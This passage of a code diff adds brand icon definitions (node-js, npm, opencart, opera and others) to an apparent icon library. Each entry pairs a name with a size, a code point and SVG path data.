5.2 1.3 7.4 0l61-35.2c1.8-1 3.1-2.7 3.6-4.7.1-.5.2-1.1.2-1.7zm-74.3-124.9l-.8.5h1.1l-.3-.5zm76.2 130.2l-.4-.7v.9l.4-.2z"], + "node-js": [448, 512, [], "f3d3", "M224 508c-6.7 0-13.5-1.8-19.4-5.2l-61.7-36.5c-9.2-5.2-4.7-7-1.7-8 12.3-4.3 14.8-5.2 27.9-12.7 1.4-.8 3.2-.5 4.6.4l47.4 28.1c1.7 1 4.1 1 5.7 0l184.7-106.6c1.7-1 2.8-3 2.8-5V149.3c0-2.1-1.1-4-2.9-5.1L226.8 37.7c-1.7-1-4-1-5.7 0L36.6 144.3c-1.8 1-2.9 3-2.9 5.1v213.1c0 2 1.1 4 2.9 4.9l50.6 29.2c27.5 13.7 44.3-2.4 44.3-18.7V167.5c0-3 2.4-5.3 5.4-5.3h23.4c2.9 0 5.4 2.3 5.4 5.3V378c0 36.6-20 57.6-54.7 57.6-10.7 0-19.1 0-42.5-11.6l-48.4-27.9C8.1 389.2.7 376.3.7 362.4V149.3c0-13.8 7.4-26.8 19.4-33.7L204.6 9c11.7-6.6 27.2-6.6 38.8 0l184.7 106.7c12 6.9 19.4 19.8 19.4 33.7v213.1c0 13.8-7.4 26.7-19.4 33.7L243.4 502.8c-5.9 3.4-12.6 5.2-19.4 5.2zm149.1-210.1c0-39.9-27-50.5-83.7-58-57.4-7.6-63.2-11.5-63.2-24.9 0-11.1 4.9-25.9 47.4-25.9 37.9 0 51.9 8.2 57.7 33.8.5 2.4 2.7 4.2 5.2 4.2h24c1.5 0 2.9-.6 3.9-1.7s1.5-2.6 1.4-4.1c-3.7-44.1-33-64.6-92.2-64.6-52.7 0-84.1 22.2-84.1 59.5 0 40.4 31.3 51.6 81.8 56.6 60.5 5.9 65.2 14.8 65.2 26.7 0 20.6-16.6 29.4-55.5 29.4-48.9 0-59.6-12.3-63.2-36.6-.4-2.6-2.6-4.5-5.3-4.5h-23.9c-3 0-5.3 2.4-5.3 5.3 0 31.1 16.9 68.2 97.8 68.2 58.4-.1 92-23.2 92-63.4z"], + "npm": [576, 512, [], "f3d4", "M288 288h-32v-64h32v64zm288-128v192H288v32H160v-32H0V160h576zm-416 32H32v128h64v-96h32v96h32V192zm160 0H192v160h64v-32h64V192zm224 0H352v128h64v-96h32v96h32v-96h32v96h32V192z"], + "ns8": [640, 512, [], "f3d5", "M104.324,269.172h26.067V242.994H104.324Zm52.466-26.178-.055-26.178v-.941a39.325,39.325,0,0,0-78.644.941v.166h26.4v-.166a12.98,12.98,0,0,1,25.956,0v26.178Zm52.356,25.846a91.1,91.1,0,0,1-91.1,91.1h-.609a91.1,91.1,0,0,1-91.1-91.1H0v.166A117.33,117.33,0,0,0,117.44,386.28h.775A117.331,117.331,0,0,0,235.49,268.84V242.828H209.146Zm-157.233,0a65.362,65.362,0,0,0,130.723,0H156.292a39.023,39.023,0,0,1-78.035,0V242.883H51.968v-26.62A65.42,65.42,0,0,1,182.8,217.48v25.293h26.344V217.48a91.761,91.761,0,0,0-183.522,0v25.4H51.913Zm418.4-71.173c13.67,0,24.573,6.642,30.052,18.264l.719,1.549,23.245-11.511-.609-1.439c-8.025-19.26-28.5-31.27-53.407-31.27-23.134,0-43.611,11.4-50.972,28.447-.123,26.876-.158,23.9,0,24.85,4.7,11.013,14.555,19.37,28.668,24.241a102.033,102.033,0,0,0,19.813,3.984c5.479.72,10.626,1.384,15.829,3.1,6.364,2.1,10.46,5.257,12.84,9.851v9.851c-3.708,7.527-13.781,12.342-25.791,12.342-14.334,0-25.956-6.918-31.933-19.039l-.72-1.494L415.026,280.9l.553,1.439c7.915,19.426,29.609,32.044,55.289,32.044,23.632,0,44.608-11.4,52.3-28.447l.166-25.9-.166-.664c-4.87-11.014-15.219-19.647-28.944-24.241-7.693-2.712-14.335-3.6-20.7-4.427a83.777,83.777,0,0,1-14.832-2.878c-6.31-1.937-10.4-5.092-12.619-9.63v-8.412C449.45,202.427,458.969,197.667,470.315,197.667ZM287.568,311.344h26.067v-68.4H287.568Zm352.266-53.3c-2.933-6.254-8.3-12.01-15.441-16.714A37.99,37.99,0,0,0,637.4,226l.166-25.347-.166-.664C630.038,184,610.667,173.26,589.25,173.26S548.461,184,541.1,199.992l-.166,25.347.166.664a39.643,39.643,0,0,0,13.006,15.331c-7.2,4.7-12.508,10.46-15.441,16.714l-.166,28.889.166.72c7.582,15.994,27.893,26.731,50.585,26.731s43.057-10.737,50.584-26.731l.166-28.89Zm-73.22-50.806c3.6-6.31,12.563-10.516,22.58-10.516s19.038,4.206,22.636,10.516v13.725c-3.542,6.2-12.563,10.349-22.636,10.349s-19.094-4.15-22.58-10.349Zm47.319,72.169c-3.764,6.641-13.338,10.9-24.683,10.9-11.125,0-20.976-4.372-24.684-10.9V263.25c3.708-6.309,13.5-10.515,24.684-10.515,11.345,0,20.919,4.15,24.683,10.515ZM376.4,265.962l-59.827-89.713h-29v40.623h26.51v.387l62.539,94.085H402.3V176.249H376.4Z"], + "nutritionix": [400, 512, [], "f3d6", "M88 8.1S221.4-.1 209 112.5c0 0 19.1-74.9 103-40.6 0 0-17.7 74-88 56 0 0 14.6-54.6 66.1-56.6 0 0-39.9-10.3-82.1 48.8 0 0-19.8-94.5-93.6-99.7 0 0 75.2 19.4 77.6 107.5 0 .1-106.4 7-104-119.8zm312 315.6c0 48.5-9.7 95.3-32 132.3-42.2 30.9-105 48-168 48-62.9 0-125.8-17.1-168-48C9.7 419 0 372.2 0 323.7 0 275.3 17.7 229 40 192c42.2-30.9 97.1-48.6 160-48.6 63 0 117.8 17.6 160 48.6 22.3 37 40 83.3 40 131.7zM120 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM192 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM264 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM336 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm24-39.6c-4.8-22.3-7.4-36.9-16-56-38.8-19.9-90.5-32-144-32S94.8 180.1 56 200c-8.8 19.5-11.2 33.9-16 56 42.2-7.9 98.7-14.8 160-14.8s117.8 6.9 160 14.8z"], + "octopus-deploy": [512, 512, [], "e082", "M455.6,349.2c-45.891-39.09-36.67-77.877-16.095-128.11C475.16,134.04,415.967,34.14,329.93,8.3,237.04-19.6,134.252,24.341,99.677,117.147a180.862,180.862,0,0,0-10.988,73.544c1.733,29.543,14.717,52.97,24.09,80.3,17.2,50.161-28.1,92.743-66.662,117.582-46.806,30.2-36.319,39.857-8.428,41.858,23.378,1.68,44.478-4.548,65.265-15.045,9.2-4.647,40.687-18.931,45.13-28.588C135.9,413.388,111.122,459.5,126.621,488.9c19.1,36.229,67.112-31.77,76.709-45.812,8.591-12.572,42.963-81.279,63.627-46.926,18.865,31.361,8.6,76.391,35.738,104.622,32.854,34.2,51.155-18.312,51.412-44.221.163-16.411-6.1-95.852,29.9-59.944C405.428,418,436.912,467.8,472.568,463.642c38.736-4.516-22.123-67.967-28.262-78.695,5.393,4.279,53.665,34.128,53.818,9.52C498.234,375.678,468.039,359.8,455.6,349.2Z"], + "odnoklassniki": [320, 512, [], "f263", "M275.1 334c-27.4 17.4-65.1 24.3-90 26.9l20.9 20.6 76.3 76.3c27.9 28.6-17.5 73.3-45.7 45.7-19.1-19.4-47.1-47.4-76.3-76.6L84 503.4c-28.2 27.5-73.6-17.6-45.4-45.7 19.4-19.4 47.1-47.4 76.3-76.3l20.6-20.6c-24.6-2.6-62.9-9.1-90.6-26.9-32.6-21-46.9-33.3-34.3-59 7.4-14.6 27.7-26.9 54.6-5.7 0 0 36.3 28.9 94.9 28.9s94.9-28.9 94.9-28.9c26.9-21.1 47.1-8.9 54.6 5.7 12.4 25.7-1.9 38-34.5 59.1zM30.3 129.7C30.3 58 88.6 0 160 0s129.7 58 129.7 129.7c0 71.4-58.3 129.4-129.7 129.4s-129.7-58-129.7-129.4zm66 0c0 35.1 28.6 63.7 63.7 63.7s63.7-28.6 63.7-63.7c0-35.4-28.6-64-63.7-64s-63.7 28.6-63.7 64z"], + "odnoklassniki-square": [448, 512, [], "f264", "M184.2 177.1c0-22.1 17.9-40 39.8-40s39.8 17.9 39.8 40c0 22-17.9 39.8-39.8 39.8s-39.8-17.9-39.8-39.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-305.1 97.1c0 44.6 36.4 80.9 81.1 80.9s81.1-36.2 81.1-80.9c0-44.8-36.4-81.1-81.1-81.1s-81.1 36.2-81.1 81.1zm174.5 90.7c-4.6-9.1-17.3-16.8-34.1-3.6 0 0-22.7 18-59.3 18s-59.3-18-59.3-18c-16.8-13.2-29.5-5.5-34.1 3.6-7.9 16.1 1.1 23.7 21.4 37 17.3 11.1 41.2 15.2 56.6 16.8l-12.9 12.9c-18.2 18-35.5 35.5-47.7 47.7-17.6 17.6 10.7 45.8 28.4 28.6l47.7-47.9c18.2 18.2 35.7 35.7 47.7 47.9 17.6 17.2 46-10.7 28.6-28.6l-47.7-47.7-13-12.9c15.5-1.6 39.1-5.9 56.2-16.8 20.4-13.3 29.3-21 21.5-37z"], + "old-republic": [496, 512, [], "f510", "M235.76 10.23c7.5-.31 15-.28 22.5-.09 3.61.14 7.2.4 10.79.73 4.92.27 9.79 1.03 14.67 1.62 2.93.43 5.83.98 8.75 1.46 7.9 1.33 15.67 3.28 23.39 5.4 12.24 3.47 24.19 7.92 35.76 13.21 26.56 12.24 50.94 29.21 71.63 49.88 20.03 20.09 36.72 43.55 48.89 69.19 1.13 2.59 2.44 5.1 3.47 7.74 2.81 6.43 5.39 12.97 7.58 19.63 4.14 12.33 7.34 24.99 9.42 37.83.57 3.14 1.04 6.3 1.4 9.47.55 3.83.94 7.69 1.18 11.56.83 8.34.84 16.73.77 25.1-.07 4.97-.26 9.94-.75 14.89-.24 3.38-.51 6.76-.98 10.12-.39 2.72-.63 5.46-1.11 8.17-.9 5.15-1.7 10.31-2.87 15.41-4.1 18.5-10.3 36.55-18.51 53.63-15.77 32.83-38.83 62.17-67.12 85.12a246.503 246.503 0 0 1-56.91 34.86c-6.21 2.68-12.46 5.25-18.87 7.41-3.51 1.16-7.01 2.38-10.57 3.39-6.62 1.88-13.29 3.64-20.04 5-4.66.91-9.34 1.73-14.03 2.48-5.25.66-10.5 1.44-15.79 1.74-6.69.66-13.41.84-20.12.81-6.82.03-13.65-.12-20.45-.79-3.29-.23-6.57-.5-9.83-.95-2.72-.39-5.46-.63-8.17-1.11-4.12-.72-8.25-1.37-12.35-2.22-4.25-.94-8.49-1.89-12.69-3.02-8.63-2.17-17.08-5.01-25.41-8.13-10.49-4.12-20.79-8.75-30.64-14.25-2.14-1.15-4.28-2.29-6.35-3.57-11.22-6.58-21.86-14.1-31.92-22.34-34.68-28.41-61.41-66.43-76.35-108.7-3.09-8.74-5.71-17.65-7.8-26.68-1.48-6.16-2.52-12.42-3.58-18.66-.4-2.35-.61-4.73-.95-7.09-.6-3.96-.75-7.96-1.17-11.94-.8-9.47-.71-18.99-.51-28.49.14-3.51.34-7.01.7-10.51.31-3.17.46-6.37.92-9.52.41-2.81.65-5.65 1.16-8.44.7-3.94 1.3-7.9 2.12-11.82 3.43-16.52 8.47-32.73 15.26-48.18 1.15-2.92 2.59-5.72 3.86-8.59 8.05-16.71 17.9-32.56 29.49-47.06 20-25.38 45.1-46.68 73.27-62.47 7.5-4.15 15.16-8.05 23.07-11.37 15.82-6.88 32.41-11.95 49.31-15.38 3.51-.67 7.04-1.24 10.56-1.85 2.62-.47 5.28-.7 7.91-1.08 3.53-.53 7.1-.68 10.65-1.04 2.46-.24 4.91-.36 7.36-.51m8.64 24.41c-9.23.1-18.43.99-27.57 2.23-7.3 1.08-14.53 2.6-21.71 4.3-13.91 3.5-27.48 8.34-40.46 14.42-10.46 4.99-20.59 10.7-30.18 17.22-4.18 2.92-8.4 5.8-12.34 9.03-5.08 3.97-9.98 8.17-14.68 12.59-2.51 2.24-4.81 4.7-7.22 7.06-28.22 28.79-48.44 65.39-57.5 104.69-2.04 8.44-3.54 17.02-4.44 25.65-1.1 8.89-1.44 17.85-1.41 26.8.11 7.14.38 14.28 1.22 21.37.62 7.12 1.87 14.16 3.2 21.18 1.07 4.65 2.03 9.32 3.33 13.91 6.29 23.38 16.5 45.7 30.07 65.75 8.64 12.98 18.78 24.93 29.98 35.77 16.28 15.82 35.05 29.04 55.34 39.22 7.28 3.52 14.66 6.87 22.27 9.63 5.04 1.76 10.06 3.57 15.22 4.98 11.26 3.23 22.77 5.6 34.39 7.06 2.91.29 5.81.61 8.72.9 13.82 1.08 27.74 1 41.54-.43 4.45-.6 8.92-.99 13.35-1.78 3.63-.67 7.28-1.25 10.87-2.1 4.13-.98 8.28-1.91 12.36-3.07 26.5-7.34 51.58-19.71 73.58-36.2 15.78-11.82 29.96-25.76 42.12-41.28 3.26-4.02 6.17-8.31 9.13-12.55 3.39-5.06 6.58-10.25 9.6-15.54 2.4-4.44 4.74-8.91 6.95-13.45 5.69-12.05 10.28-24.62 13.75-37.49 2.59-10.01 4.75-20.16 5.9-30.45 1.77-13.47 1.94-27.1 1.29-40.65-.29-3.89-.67-7.77-1-11.66-2.23-19.08-6.79-37.91-13.82-55.8-5.95-15.13-13.53-29.63-22.61-43.13-12.69-18.8-28.24-35.68-45.97-49.83-25.05-20-54.47-34.55-85.65-42.08-7.78-1.93-15.69-3.34-23.63-4.45-3.91-.59-7.85-.82-11.77-1.24-7.39-.57-14.81-.72-22.22-.58zM139.26 83.53c13.3-8.89 28.08-15.38 43.3-20.18-3.17 1.77-6.44 3.38-9.53 5.29-11.21 6.68-21.52 14.9-30.38 24.49-6.8 7.43-12.76 15.73-17.01 24.89-3.29 6.86-5.64 14.19-6.86 21.71-.93 4.85-1.3 9.81-1.17 14.75.13 13.66 4.44 27.08 11.29 38.82 5.92 10.22 13.63 19.33 22.36 27.26 4.85 4.36 10.24 8.09 14.95 12.6 2.26 2.19 4.49 4.42 6.43 6.91 2.62 3.31 4.89 6.99 5.99 11.1.9 3.02.66 6.2.69 9.31.02 4.1-.04 8.2.03 12.3.14 3.54-.02 7.09.11 10.63.08 2.38.02 4.76.05 7.14.16 5.77.06 11.53.15 17.3.11 2.91.02 5.82.13 8.74.03 1.63.13 3.28-.03 4.91-.91.12-1.82.18-2.73.16-10.99 0-21.88-2.63-31.95-6.93-6-2.7-11.81-5.89-17.09-9.83-5.75-4.19-11.09-8.96-15.79-14.31-6.53-7.24-11.98-15.39-16.62-23.95-1.07-2.03-2.24-4.02-3.18-6.12-1.16-2.64-2.62-5.14-3.67-7.82-4.05-9.68-6.57-19.94-8.08-30.31-.49-4.44-1.09-8.88-1.2-13.35-.7-15.73.84-31.55 4.67-46.82 2.12-8.15 4.77-16.18 8.31-23.83 6.32-14.2 15.34-27.18 26.3-38.19 6.28-6.2 13.13-11.84 20.53-16.67zm175.37-20.12c2.74.74 5.41 1.74 8.09 2.68 6.36 2.33 12.68 4.84 18.71 7.96 13.11 6.44 25.31 14.81 35.82 24.97 10.2 9.95 18.74 21.6 25.14 34.34 1.28 2.75 2.64 5.46 3.81 8.26 6.31 15.1 10 31.26 11.23 47.57.41 4.54.44 9.09.45 13.64.07 11.64-1.49 23.25-4.3 34.53-1.97 7.27-4.35 14.49-7.86 21.18-3.18 6.64-6.68 13.16-10.84 19.24-6.94 10.47-15.6 19.87-25.82 27.22-10.48 7.64-22.64 13.02-35.4 15.38-3.51.69-7.08 1.08-10.66 1.21-1.85.06-3.72.16-5.56-.1-.28-2.15 0-4.31-.01-6.46-.03-3.73.14-7.45.1-11.17.19-7.02.02-14.05.21-21.07.03-2.38-.03-4.76.03-7.14.17-5.07-.04-10.14.14-15.21.1-2.99-.24-6.04.51-8.96.66-2.5 1.78-4.86 3.09-7.08 4.46-7.31 11.06-12.96 17.68-18.26 5.38-4.18 10.47-8.77 15.02-13.84 7.68-8.37 14.17-17.88 18.78-28.27 2.5-5.93 4.52-12.1 5.55-18.46.86-4.37 1.06-8.83 1.01-13.27-.02-7.85-1.4-15.65-3.64-23.17-1.75-5.73-4.27-11.18-7.09-16.45-3.87-6.93-8.65-13.31-13.96-19.2-9.94-10.85-21.75-19.94-34.6-27.1-1.85-1.02-3.84-1.82-5.63-2.97zm-100.8 58.45c.98-1.18 1.99-2.33 3.12-3.38-.61.93-1.27 1.81-1.95 2.68-3.1 3.88-5.54 8.31-7.03 13.06-.87 3.27-1.68 6.6-1.73 10-.07 2.52-.08 5.07.32 7.57 1.13 7.63 4.33 14.85 8.77 21.12 2 2.7 4.25 5.27 6.92 7.33 1.62 1.27 3.53 2.09 5.34 3.05 3.11 1.68 6.32 3.23 9.07 5.48 2.67 2.09 4.55 5.33 4.4 8.79-.01 73.67 0 147.34-.01 221.02 0 1.35-.08 2.7.04 4.04.13 1.48.82 2.83 1.47 4.15.86 1.66 1.78 3.34 3.18 4.62.85.77 1.97 1.4 3.15 1.24 1.5-.2 2.66-1.35 3.45-2.57.96-1.51 1.68-3.16 2.28-4.85.76-2.13.44-4.42.54-6.63.14-4.03-.02-8.06.14-12.09.03-5.89.03-11.77.06-17.66.14-3.62.03-7.24.11-10.86.15-4.03-.02-8.06.14-12.09.03-5.99.03-11.98.07-17.97.14-3.62.02-7.24.11-10.86.14-3.93-.02-7.86.14-11.78.03-5.99.03-11.98.06-17.97.16-3.94-.01-7.88.19-11.82.29 1.44.13 2.92.22 4.38.19 3.61.42 7.23.76 10.84.32 3.44.44 6.89.86 10.32.37 3.1.51 6.22.95 9.31.57 4.09.87 8.21 1.54 12.29 1.46 9.04 2.83 18.11 5.09 26.99 1.13 4.82 2.4 9.61 4 14.3 2.54 7.9 5.72 15.67 10.31 22.62 1.73 2.64 3.87 4.98 6.1 7.21.27.25.55.51.88.71.6.25 1.31-.07 1.7-.57.71-.88 1.17-1.94 1.7-2.93 4.05-7.8 8.18-15.56 12.34-23.31.7-1.31 1.44-2.62 2.56-3.61 1.75-1.57 3.84-2.69 5.98-3.63 2.88-1.22 5.9-2.19 9.03-2.42 6.58-.62 13.11.75 19.56 1.85 3.69.58 7.4 1.17 11.13 1.41 3.74.1 7.48.05 11.21-.28 8.55-.92 16.99-2.96 24.94-6.25 5.3-2.24 10.46-4.83 15.31-7.93 11.46-7.21 21.46-16.57 30.04-27.01 1.17-1.42 2.25-2.9 3.46-4.28-1.2 3.24-2.67 6.37-4.16 9.48-1.25 2.9-2.84 5.61-4.27 8.42-5.16 9.63-11.02 18.91-17.75 27.52-4.03 5.21-8.53 10.05-13.33 14.57-6.64 6.05-14.07 11.37-22.43 14.76-8.21 3.37-17.31 4.63-26.09 3.29-3.56-.58-7.01-1.69-10.41-2.88-2.79-.97-5.39-2.38-8.03-3.69-3.43-1.71-6.64-3.81-9.71-6.08 2.71 3.06 5.69 5.86 8.7 8.61 4.27 3.76 8.74 7.31 13.63 10.23 3.98 2.45 8.29 4.4 12.84 5.51 1.46.37 2.96.46 4.45.6-1.25 1.1-2.63 2.04-3.99 2.98-9.61 6.54-20.01 11.86-30.69 16.43-20.86 8.7-43.17 13.97-65.74 15.34-4.66.24-9.32.36-13.98.36-4.98-.11-9.97-.13-14.92-.65-11.2-.76-22.29-2.73-33.17-5.43-10.35-2.71-20.55-6.12-30.3-10.55-8.71-3.86-17.12-8.42-24.99-13.79-1.83-1.31-3.74-2.53-5.37-4.08 6.6-1.19 13.03-3.39 18.99-6.48 5.74-2.86 10.99-6.66 15.63-11.07 2.24-2.19 4.29-4.59 6.19-7.09-3.43 2.13-6.93 4.15-10.62 5.78-4.41 2.16-9.07 3.77-13.81 5.02-5.73 1.52-11.74 1.73-17.61 1.14-8.13-.95-15.86-4.27-22.51-8.98-4.32-2.94-8.22-6.43-11.96-10.06-9.93-10.16-18.2-21.81-25.66-33.86-3.94-6.27-7.53-12.75-11.12-19.22-1.05-2.04-2.15-4.05-3.18-6.1 2.85 2.92 5.57 5.97 8.43 8.88 8.99 8.97 18.56 17.44 29.16 24.48 7.55 4.9 15.67 9.23 24.56 11.03 3.11.73 6.32.47 9.47.81 2.77.28 5.56.2 8.34.3 5.05.06 10.11.04 15.16-.16 3.65-.16 7.27-.66 10.89-1.09 2.07-.25 4.11-.71 6.14-1.2 3.88-.95 8.11-.96 11.83.61 4.76 1.85 8.44 5.64 11.38 9.71 2.16 3.02 4.06 6.22 5.66 9.58 1.16 2.43 2.46 4.79 3.55 7.26 1 2.24 2.15 4.42 3.42 6.52.67 1.02 1.4 2.15 2.62 2.55 1.06-.75 1.71-1.91 2.28-3.03 2.1-4.16 3.42-8.65 4.89-13.05 2.02-6.59 3.78-13.27 5.19-20.02 2.21-9.25 3.25-18.72 4.54-28.13.56-3.98.83-7.99 1.31-11.97.87-10.64 1.9-21.27 2.24-31.94.08-1.86.24-3.71.25-5.57.01-4.35.25-8.69.22-13.03-.01-2.38-.01-4.76 0-7.13.05-5.07-.2-10.14-.22-15.21-.2-6.61-.71-13.2-1.29-19.78-.73-5.88-1.55-11.78-3.12-17.51-2.05-7.75-5.59-15.03-9.8-21.82-3.16-5.07-6.79-9.88-11.09-14.03-3.88-3.86-8.58-7.08-13.94-8.45-1.5-.41-3.06-.45-4.59-.64.07-2.99.7-5.93 1.26-8.85 1.59-7.71 3.8-15.3 6.76-22.6 1.52-4.03 3.41-7.9 5.39-11.72 3.45-6.56 7.62-12.79 12.46-18.46zm31.27 1.7c.35-.06.71-.12 1.07-.19.19 1.79.09 3.58.1 5.37v38.13c-.01 1.74.13 3.49-.15 5.22-.36-.03-.71-.05-1.06-.05-.95-3.75-1.72-7.55-2.62-11.31-.38-1.53-.58-3.09-1.07-4.59-1.7-.24-3.43-.17-5.15-.2-5.06-.01-10.13 0-15.19-.01-1.66-.01-3.32.09-4.98-.03-.03-.39-.26-.91.16-1.18 1.28-.65 2.72-.88 4.06-1.35 3.43-1.14 6.88-2.16 10.31-3.31 1.39-.48 2.9-.72 4.16-1.54.04-.56.02-1.13-.05-1.68-1.23-.55-2.53-.87-3.81-1.28-3.13-1.03-6.29-1.96-9.41-3.02-1.79-.62-3.67-1-5.41-1.79-.03-.37-.07-.73-.11-1.09 5.09-.19 10.2.06 15.3-.12 3.36-.13 6.73.08 10.09-.07.12-.39.26-.77.37-1.16 1.08-4.94 2.33-9.83 3.39-14.75zm5.97-.2c.36.05.72.12 1.08.2.98 3.85 1.73 7.76 2.71 11.61.36 1.42.56 2.88 1.03 4.27 2.53.18 5.07-.01 7.61.05 5.16.12 10.33.12 15.49.07.76-.01 1.52.03 2.28.08-.04.36-.07.72-.1 1.08-1.82.83-3.78 1.25-5.67 1.89-3.73 1.23-7.48 2.39-11.22 3.57-.57.17-1.12.42-1.67.64-.15.55-.18 1.12-.12 1.69.87.48 1.82.81 2.77 1.09 4.88 1.52 9.73 3.14 14.63 4.6.38.13.78.27 1.13.49.4.27.23.79.15 1.18-1.66.13-3.31.03-4.97.04-5.17.01-10.33-.01-15.5.01-1.61.03-3.22-.02-4.82.21-.52 1.67-.72 3.42-1.17 5.11-.94 3.57-1.52 7.24-2.54 10.78-.36.01-.71.02-1.06.06-.29-1.73-.15-3.48-.15-5.22v-38.13c.02-1.78-.08-3.58.11-5.37zM65.05 168.33c1.12-2.15 2.08-4.4 3.37-6.46-1.82 7.56-2.91 15.27-3.62 23-.8 7.71-.85 15.49-.54 23.23 1.05 19.94 5.54 39.83 14.23 57.88 2.99 5.99 6.35 11.83 10.5 17.11 6.12 7.47 12.53 14.76 19.84 21.09 4.8 4.1 9.99 7.78 15.54 10.8 3.27 1.65 6.51 3.39 9.94 4.68 5.01 2.03 10.19 3.61 15.42 4.94 3.83.96 7.78 1.41 11.52 2.71 5 1.57 9.47 4.61 13.03 8.43 4.93 5.23 8.09 11.87 10.2 18.67.99 2.9 1.59 5.91 2.17 8.92.15.75.22 1.52.16 2.29-6.5 2.78-13.26 5.06-20.26 6.18-4.11.78-8.29.99-12.46 1.08-10.25.24-20.47-1.76-30.12-5.12-3.74-1.42-7.49-2.85-11.03-4.72-8.06-3.84-15.64-8.7-22.46-14.46-2.92-2.55-5.83-5.13-8.4-8.03-9.16-9.83-16.3-21.41-21.79-33.65-2.39-5.55-4.61-11.18-6.37-16.96-1.17-3.94-2.36-7.89-3.26-11.91-.75-2.94-1.22-5.95-1.87-8.92-.46-2.14-.69-4.32-1.03-6.48-.85-5.43-1.28-10.93-1.33-16.43.11-6.18.25-12.37 1.07-18.5.4-2.86.67-5.74 1.15-8.6.98-5.7 2.14-11.37 3.71-16.93 3.09-11.65 7.48-22.95 12.69-33.84zm363.73-6.44c1.1 1.66 1.91 3.48 2.78 5.26 2.1 4.45 4.24 8.9 6.02 13.49 7.61 18.76 12.3 38.79 13.04 59.05.02 1.76.07 3.52.11 5.29.13 9.57-1.27 19.09-3.18 28.45-.73 3.59-1.54 7.17-2.58 10.69-4.04 14.72-10 29-18.41 41.78-8.21 12.57-19.01 23.55-31.84 31.41-5.73 3.59-11.79 6.64-18.05 9.19-5.78 2.19-11.71 4.03-17.8 5.11-6.4 1.05-12.91 1.52-19.4 1.23-7.92-.48-15.78-2.07-23.21-4.85-1.94-.8-3.94-1.46-5.84-2.33-.21-1.51.25-2.99.53-4.46 1.16-5.74 3.03-11.36 5.7-16.58 2.37-4.51 5.52-8.65 9.46-11.9 2.43-2.05 5.24-3.61 8.16-4.83 3.58-1.5 7.47-1.97 11.24-2.83 7.23-1.71 14.37-3.93 21.15-7 10.35-4.65 19.71-11.38 27.65-19.46 1.59-1.61 3.23-3.18 4.74-4.87 3.37-3.76 6.71-7.57 9.85-11.53 7.48-10.07 12.82-21.59 16.71-33.48 1.58-5.3 3.21-10.6 4.21-16.05.63-2.87 1.04-5.78 1.52-8.68.87-6.09 1.59-12.22 1.68-18.38.12-6.65.14-13.32-.53-19.94-.73-7.99-1.87-15.96-3.71-23.78z"], + "opencart": [640, 512, [], "f23d", "M423.3 440.7c0 25.3-20.3 45.6-45.6 45.6s-45.8-20.3-45.8-45.6 20.6-45.8 45.8-45.8c25.4 0 45.6 20.5 45.6 45.8zm-253.9-45.8c-25.3 0-45.6 20.6-45.6 45.8s20.3 45.6 45.6 45.6 45.8-20.3 45.8-45.6-20.5-45.8-45.8-45.8zm291.7-270C158.9 124.9 81.9 112.1 0 25.7c34.4 51.7 53.3 148.9 373.1 144.2 333.3-5 130 86.1 70.8 188.9 186.7-166.7 319.4-233.9 17.2-233.9z"], + "openid": [448, 512, [], "f19b", "M271.5 432l-68 32C88.5 453.7 0 392.5 0 318.2c0-71.5 82.5-131 191.7-144.3v43c-71.5 12.5-124 53-124 101.3 0 51 58.5 93.3 135.7 103v-340l68-33.2v384zM448 291l-131.3-28.5 36.8-20.7c-19.5-11.5-43.5-20-70-24.8v-43c46.2 5.5 87.7 19.5 120.3 39.3l35-19.8L448 291z"], + "opera": [496, 512, [], "f26a", "M313.9 32.7c-170.2 0-252.6 223.8-147.5 355.1 36.5 45.4 88.6 75.6 147.5 75.6 36.3 0 70.3-11.1 99.4-30.4-43.8 39.2-101.9 63-165.3 63-3.9 0-8 0-11.9-.3C104.6 489.6 0 381.1 0 248 0 111 111 0 248 0h.8c63.1.3 120.7 24.1 164.4 63.1-29-19.4-63.1-30.4-99.3-30.4zm101.8 397.7c-40.9 24.7-90.7 23.6-132-5.8 56.2-20.5 97.7-91.6 97.7-176.6 0-84.7-41.2-155.8-97.4-176.6 41.8-29.2 91.2-30.3 132.9-5 105.9 98.7 105.5 265.7-1.2 364z"], + "optin-monster": [576, 512, [], "f23c", "M572.6 421.4c5.6-9.5 4.7-15.2-5.4-11.6-3-4.9-7-9.5-11.1-13.8 2.9-9.7-.7-14.2-10.8-9.2-4.6-3.2-10.3-6.5-15.9-9.2 0-15.1-11.6-11.6-17.6-5.7-10.4-1.5-18.7-.3-26.8 5.7.3-6.5.3-13 .3-19.7 12.6 0 40.2-11 45.9-36.2 1.4-6.8 1.6-13.8-.3-21.9-3-13.5-14.3-21.3-25.1-25.7-.8-5.9-7.6-14.3-14.9-15.9s-12.4 4.9-14.1 10.3c-8.5 0-19.2 2.8-21.1 8.4-5.4-.5-11.1-1.4-16.8-1.9 2.7-1.9 5.4-3.5 8.4-4.6 5.4-9.2 14.6-11.4 25.7-11.6V256c19.5-.5 43-5.9 53.8-18.1 12.7-13.8 14.6-37.3 12.4-55.1-2.4-17.3-9.7-37.6-24.6-48.1-8.4-5.9-21.6-.8-22.7 9.5-2.2 19.6 1.2 30-38.6 25.1-10.3-23.8-24.6-44.6-42.7-60C341 49.6 242.9 55.5 166.4 71.7c19.7 4.6 41.1 8.6 59.7 16.5-26.2 